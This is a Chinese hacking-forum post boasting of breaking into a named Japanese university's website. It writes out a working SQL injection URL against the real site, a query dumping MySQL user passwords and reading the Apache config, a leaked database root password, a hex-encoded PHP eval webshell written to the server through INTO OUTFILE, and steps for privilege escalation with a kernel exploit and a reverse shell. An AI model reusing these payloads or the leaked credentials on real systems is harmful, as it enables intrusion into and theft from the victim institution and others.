找回密码
 立即注册
查看: 3087|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
入侵日本同志社大学技术分析/ _/ v8 c' J) X$ a1 v0 O- M3 `

7 I' M9 r5 Z& Thttp://www.doshisha.ac.jp/chs/news/index.php?i=-1; _* T/ E# S6 m: j3 v
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
) e) E. J& T$ P
1 l$ ^' I/ @0 ]$ ~4 {* Zhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user* g$ @* ]. O5 b5 h, H, N

" \' |$ b9 F9 E  c) l9 |9 g
5 V" {8 h* d* y8 n: N( R7 B& Y/ Y7 O! _. {
//@@datadir为数据库文件路径 + }/ A" H8 N# W' a

4 i7 w' U( i! n/ r5 c) p3 |" ?; s5 h
//load_file读取网站容器apache的配置文件 : u% R& C; d$ o5 F( r: T

& v$ ]7 y0 A2 k6 u- c% a
+ J& G% h- b( H& a6 R6 u//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 , R( S. s' m: x, L+ J  h
复制代码5 r* h9 @9 `# z. i$ v
: E) o6 I2 [9 W8 t' i  K  M+ k! s
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。; V- r2 m) _! c" ~; H  h# X; ~

2 ^! F& H* n& ~/ a/ m8 B而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
# l1 [* \( _$ R& T+ F8 j9 {6 v+ B(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html)
# n& W- U/ c" _4 _+ ^
3 T9 g$ l! ~/ d2 G3 {2 n! S前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
5 r& ?/ X( k* P: R- C- @如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html1 x9 I$ x2 |. G# H3 ~* T0 Q
, B# q: d) u9 Z9 |( k( Q. u
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/' ]: ]: |; A/ Q* T) q3 a  _# O
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。' q) b* m0 l% P
直接写一句话:/ |0 n" ^) ]/ U
1 V4 Z- {+ p/ G' X$ @( d3 K
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#; O8 A* {" y& i% Q3 s/ x

; I3 r6 Y- e' o! s' s: |* G
9 J' {" }) m  q; ~0 T7 V3 G! G4 J
//最后的#是为了闭合前面的语句
* O+ Z& o( x" d0 v " D, j0 A: j* T4 L/ b
, }" h4 P" O& H3 ]) ?& i1 P
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E / M: x+ O" m  p/ L4 ~6 Z
! z6 h3 ^& Q& h6 W; g5 f

' R7 ~; X4 ^  W) j, A. r为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ , P, `6 Z! }' u" m# J

8 C) f% i8 N( i& U8 I1 z2 |: Z" a2 W, P
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ( A' W$ }8 x: b

( r: ~5 x3 ~0 g) f) i) G( W8 K0 ?0 N' p: M$ ]* v0 K; u- b, v# q
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误 6 B0 |& x  }6 K+ o. W
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” 7 i3 ?. i8 v; A' Q6 D: A# b6 B
复制代码5 a% L% `2 Z, X$ A( G( W
( `9 x# y  y$ @# |" \. v% H1 y
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有# y4 ~- u, o- |9 y
通过上述注入语句,我们就得到了一句话木马:/ K  w; F  _' \# m" V9 T/ h# g

, E. y3 n, p- g) M! |" Z& s 4 _0 z1 `2 q+ V. R7 J1 Q
; Q" N8 j+ S# f+ s

  T" a# S" P; m9 r' X1 D+ U
. J; J0 r" s6 D8 V' ]http://www.doshisha.ac.jp/english/engnews_img/aa.php & s  q, c  n: Z" e) V0 P
复制代码
* X! ^+ V! S  d4 S& A, d. A) H* ?
用菜刀连接,密码是cmd,如图所示:/ \5 }/ ]7 }2 m& s. L
然后在命令提示行里看了一下,现在的权限是:: |$ [6 J" D9 N  H4 b- \1 w6 _
" r/ [9 W/ @7 N2 u
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
; b$ J. J+ ^& f* d9 d7 C& U  Q好在赋权给这个文件夹不需要root,直接执行赋权语句:
. N' a  ^* d0 u: F+ l! g$ o1 H6 v1 c- ^5 C
, Q4 K3 ?5 z. |1 g, Z

. r8 r/ ]1 p, {4 F* o* {$ j5 X+ @
: d$ t& @6 U$ y4 h9 t- u/ X* q7 [& H/ j7 p% S
chmod +x /tmp/
, a6 S# X; y0 g& Y% w- m* @6 s复制代码
+ ?5 E' o+ |% L: G( @% d
/ S. Z* `' v) z在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行1 T' m+ o( |6 u5 B1 W6 |
然后就查了一下内核版本:
+ r# Z$ V/ Z$ @6 U- a8 J; u% f  J4 B  I; h8 k4 F; c

0 ^7 l0 \. s3 `2 x- X) i! R7 F% O1 H: B) u/ ]6 V0 _8 K
# Z! |2 Y' I! u' y/ r* C+ Y8 I
9 m1 ]2 K0 u3 ]  P  Y" x: `
uname-a
8 o% `" P$ f& {0 ?( c 3 X  w$ b1 \! H
: O! d4 T6 x! w  g" f
//其实lsb_release -a 0 Q; L3 T& w3 L
复制代码+ t" q) w1 G; `8 G
0 K& R7 E4 L6 h, Q
如图所示:, g- Z' d, _$ [1 ]: F/ a! J# ^: F" Q

6 a. m+ ~& h1 C. C, e+ o7 S内核版本:linux mainz1 2.6.28-194.e15  S" J+ U9 }3 H* \, S6 U6 t
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)9 G$ ]6 o  _5 ]! p" i/ \4 V
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹: Q2 S; x2 v/ S6 f+ E# e" ~

# y/ \8 e. m$ W* w5 c' Z- m然后给予执行权限
/ I; q3 e# m; `; \7 i$ b' x一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
& Q$ h- a  F- |! {# S0 U# a% b: a) W9 I* Y. h

2 V  o/ a8 W" q, U7 l: l" Q3 Z6 y! r5 v9 Q: P2 N/ ~
# T8 s9 a5 J: V( J

8 \1 j5 f  ^. t8 w+ b* L2 `9 h4 ?$ Cchmod +x /tmp/2.6.18-194 : g; K- L1 Q3 H
复制代码 然后直接执行!~0 E6 _7 h& T: y6 N6 c

3 `5 z+ u* o% \1 z8 ^4 K总结:! @  w9 T/ k5 w' V: q/ p1 z- r* `
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
; d0 Q0 z8 @( z7 \) X6 d4 I7 h; N6 C提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root& H0 n5 N) ~# ~, _& \
+ t& x* j* }$ K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表